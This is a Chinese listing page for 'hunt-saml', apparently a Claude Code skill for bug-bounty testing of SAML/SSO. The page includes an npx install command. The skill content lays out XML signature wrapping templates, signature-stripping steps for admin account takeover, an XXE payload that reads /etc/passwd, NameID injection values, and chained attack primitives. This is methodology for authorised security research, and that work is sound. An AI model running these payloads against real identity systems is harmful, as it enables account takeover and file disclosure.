关于 hunt-saml
hunt-saml 是用于评估 SAML 和 SSO 实现的安全测试技能,面向安全研究人员,涵盖攻击方法、测试流程、工具及漏洞严重性判断。
主要功能
- 01发现 SAML 端点
- 02测试 XML 签名包装
- 03签名剥离测试流程
- 04检查 XXE 与 NameID
- 05漏洞严重性判断
适用场景
- 01评估 SAML 登录流程
- 02测试断言签名验证
- 03检查 NameID 处理与 XXE
- 04确定已确认 SSO 问题的优先级
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-saml安装后在 Claude Code 中输入/hunt-saml确认已加载。
详细介绍
20. SAML / SSO 攻击
SSO 漏洞的赏金经常达到 High–Critical。XML 解析器的行为出了名地不一致。
攻击面
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻击 1:XML 签名包装(XSW)
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
攻击 2:在 NameID 中注入注释
<NameID>[email protected]</NameID>
攻击 3:剥离签名
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻击 4:SAML 断言中的 XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
攻击 5:操纵 NameID
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
工具
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML 分诊
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
相关技能与攻击链
hunt-ato— 缺少受众限制验证的 SAML XSW,是冒充管理员的 SP 攻击链的典型案例。攻击链原语:XSW1 攻击将已签名断言移到次要位置 + 在主要位置注入[email protected]的恶意断言 + SP 处理第一个断言(恶意断言)+ SP 不验证<AudienceRestriction>,因此接受原本发给 IdP-A 的断言 → 跨联邦租户边界实现管理员 ATO。hunt-auth-bypass— SAML 签名剥离是教科书式的认证绕过模式;此技能提供 SAML 机制,hunt-auth-bypass 提供更全面的绕过方法。攻击链原语:捕获有效的 SAMLResponse → 用正则表达式彻底删除<ds:Signature>元素 → 将<NameID>修改为 admin → 重新编码为 base64 → POST 到/saml/acs→ SP 的 wantAssertionsSigned=false 设置使其静默接受 → 无需任何加密质询即可签发管理员会话。hunt-oauth— 由 SAML 前置的 OAuth 发行方会将断言级漏洞转化为令牌级 ATO。攻击链原语:SP 在验证 SAML 断言后签发 OAuth bearer token + XSW 将 NameID 修改为 admin → SP 的令牌端点签发携带管理员声明的 OAuth 令牌 → 所有下游 OAuth 作用域 API(管理员 API、账单 API、用户管理 API)都会凭单个伪造断言授予管理员访问权限。hunt-xxe— SAML 断言本身就是 XML;断言解析器中的 XXE 是叠加在 XSW 之上的另一条攻击链。攻击链原语:SAML 解析器未设置disallow-doctype-decl+ 断言中包含<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>+<NameID>&xxe;</NameID>→ SP 渲染或记录 NameID →/etc/passwd内容通过错误响应或审计日志泄露 → 可读取 SAML SP 基础设施上的文件。security-arsenal— 获取 SAML/XSW 负载目录(XSW1-XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的签名包装、攻击者 IdP 签名的断言被轻信信任的 SP 接受时使用的密钥混淆负载),以及“在错误端点接受 SAMLResponse”这类实际并未通过验证的说法对应的始终拒绝列表。triage-validation— 如果某个 SAML“漏洞”只修改与安全无关的属性(显示名称、区域设置),而未更改 NameID、AuthnContext 或承载角色的 AttributeStatements,请先运行严重性判定前置关卡,再将其定为 Critical。未跨越授权边界的理论性 XML 操纵属于 Informational,而非 Critical——改变认证决策的步骤才是判定关卡。
评论
支持 Markdown